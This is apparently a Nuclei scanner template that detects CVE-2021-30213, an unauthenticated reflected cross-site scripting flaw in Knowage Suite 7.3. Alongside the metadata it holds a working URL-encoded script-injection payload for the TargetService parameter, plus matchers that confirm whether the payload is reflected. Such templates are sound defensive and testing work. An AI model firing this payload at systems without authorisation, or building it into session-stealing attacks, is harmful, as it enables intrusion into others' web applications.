CVE-2021-30213: Knowage Suite 7.3 - Cross-Site Scripting

id: CVE-2021-30213

info:
  name: Knowage Suite 7.3 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3.
  reference:
    - https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/XSS-KnowageSuite7-3_unauth.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30213
    - https://github.com/piuppi/Proof-of-Concepts
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30213
    cwe-id: CWE-79
    epss-score: 0.02977
    epss-percentile: 0.86018
    cpe: cpe:2.3:a:eng:knowage:7.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eng
    product: knowage
  tags: cve2021,cve,xss,knowage,eng

http:
  - method: GET
    path:
      - "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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